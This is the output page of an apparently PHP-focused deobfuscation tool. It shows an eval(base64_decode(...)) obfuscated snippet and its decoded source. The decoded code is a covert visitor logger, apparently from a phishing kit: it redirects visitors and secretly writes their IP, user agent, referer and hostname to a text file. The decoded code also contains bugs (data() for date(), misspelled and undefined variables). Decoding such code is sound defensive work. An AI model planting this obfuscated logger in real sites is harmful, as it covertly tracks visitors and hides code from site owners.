Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval("?>".base64_decode("PD9waHANCmhlYWRlcignTG9jYXRpb246IHRva2VuPUFZRVU0NkFLRE40MkFTSEYyY..
Decoded Output download
?>b'<?php
header(\'Location: token=AYEU46AKDN42ASHF2aEIvd.php\');
function Ip(){
$log = "d/i.txt";
$reg = (bool) ini_get(\'$register_globals\');
if ($reg) $ip = getenv(REMOTE_ADDR);
else $ip = $_SERVER[\'REMOTE_ADDR\'];
$portcol = $_SERVER[\'REMOTE_PORT\'];
$ag = $_SERVER[\'HTTP_USER_AGENT\'];
$referer = $_SERVER[\'HTTP_REFERER\'];
$hostname = gethostbyaddr($_SERVER[\'REMOTE_ADDR\']);
$date = data("l d o F Y h:i: A");
$sp = "------------------------------------------------------------";
$loger = fopen("$log", "a+");
if (preg_match("/htm/i", $log) || preg_match("/\hhtml/i", $log)){
fputs($loger, "IP : $ip , Date: $data , Protocol : $protcol , Agent : $ag, R eferer : $referer , HostName : $hostname n $space");
}else fputs($loger, "IP : $ip , Date: $data , Protocol : $protcol , Agent : $ag, R eferer : $referer , HostName : $hostname n $space");
fclose($loger);
}
Ip();
?>
'
Did this file decode correctly?
Original Code
eval("?>".base64_decode("PD9waHANCmhlYWRlcignTG9jYXRpb246IHRva2VuPUFZRVU0NkFLRE40MkFTSEYyYUVJdmQucGhwJyk7DQpmdW5jdGlvbiBJcCgpew0KICAkbG9nID0gImQvaS50eHQiOw0KICAkcmVnID0gKGJvb2wpIGluaV9nZXQoJyRyZWdpc3Rlcl9nbG9iYWxzJyk7DQogIGlmICgkcmVnKSAkaXAgPSBnZXRlbnYoUkVNT1RFX0FERFIpOw0KICBlbHNlICRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAkcG9ydGNvbCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOw0KICAkYWcgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQogICRyZWZlcmVyID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KICAkaG9zdG5hbWUgPSBnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKTsNCiAgJGRhdGUgPSBkYXRhKCJsIGQgbyBGIFkgaDppOiBBIik7DQogICRzcCA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iOw0KICAgICRsb2dlciA9IGZvcGVuKCIkbG9nIiwgImErIik7DQogICAgaWYgKHByZWdfbWF0Y2goIi9cYmh0bVxiL2kiLCAkbG9nKSB8fCBwcmVnX21hdGNoKCIvXGhodG1sXGIvaSIsICRsb2cpKXsNCiAgICAgIGZwdXRzKCRsb2dlciwgIklQIDogJGlwICwgRGF0ZTogJGRhdGEgLCBQcm90b2NvbCA6ICRwcm90Y29sICwgQWdlbnQgOiAkYWcsIFIgZWZlcmVyIDogJHJlZmVyZXIgLCBIb3N0TmFtZSA6ICRob3N0bmFtZSBuICRzcGFjZSIpOw0KICAgIH1lbHNlIGZwdXRzKCRsb2dlciwgIklQIDogJGlwICwgRGF0ZTogJGRhdGEgLCBQcm90b2NvbCA6ICRwcm90Y29sICwgQWdlbnQgOiAkYWcsIFIgZWZlcmVyIDogJHJlZmVyZXIgLCBIb3N0TmFtZSA6ICRob3N0bmFtZSBuICRzcGFjZSIpOw0KICAgIGZjbG9zZSgkbG9nZXIpOw0KfQ0KSXAoKTsNCiA/Pg0K"));
Function Calls
base64_decode | 1 |
Stats
MD5 | b28195022ee42ffe041cac3d37cf448a |
Eval Count | 1 |
Decode Time | 82 ms |